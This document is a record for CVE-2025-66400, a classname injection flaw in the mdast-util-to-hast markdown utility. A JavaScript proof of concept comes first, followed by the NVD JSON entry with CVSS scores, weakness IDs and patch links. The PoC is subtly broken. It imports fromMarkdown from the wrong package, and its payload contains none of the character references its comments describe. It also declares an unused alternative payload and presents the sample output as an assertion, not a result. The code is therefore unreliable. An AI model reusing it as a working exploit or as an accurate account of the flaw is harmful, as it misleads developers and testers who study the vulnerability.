CVE-2025-66400

// CVE-2025-66400 PoC - mdast-util-to-hast classname injection via character references // This PoC demonstrates how character references can be used to inject additional classnames const { fromMarkdown } = require('mdast-util-to-hast'); const { toHast } = require('mdast-util-to-hast'); const { h } = require('hastscript'); // Malicious markdown with character references to inject classnames // The backtick sequence contains HTML character references that decode to 'injected-class' const maliciousMarkdown = ` \`\`\`some-class</p\x3E;<p class="injected-class"> console.log('malicious code'); \`\`\` `; // Alternative PoC - using character references to add multiple classes const altPoC = ` \`\`\`abc def malicious code here \`\`\` `; // Process the markdown const mdast = fromMarkdown(maliciousMarkdown); const hast = toHast(mdast); console.log('Generated HTML AST:', JSON.stringify(hast, null, 2)); // The output will show injected classnames in the code element's class attribute // Example output structure: // { // type: 'element', // tagName: 'pre', // properties: { className: ['some-class', 'injected-class'] }, // children: [...] // } // Impact: The injected class can match page CSS rules, making the code block // appear as legitimate content or be styled to deceive users.

{"cve": {"id": "CVE-2025-66400", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.070", "lastModified": "2026-02-06T16:36:19.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "mdast-util-to-hast is an mdast utility to transform to hast. From 13.0.0 to before 13.2.1, multiple (unprefixed) classnames could be added in markdown source by using character references. This could make rendered user supplied markdown code elements appear like the rest of the page. This vulnerability is fixed in 13.2.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-915"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unifiedjs:mdast-util-to-hast:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.2.1", "matchCriteriaId": "2757E694-2D1F-4B57-A544-05363721D945"}]}]}], "references": [{"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/syntax-tree/mdast-util-to-hast/security/advisories/GHSA-4fh9-h7wg-q85m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}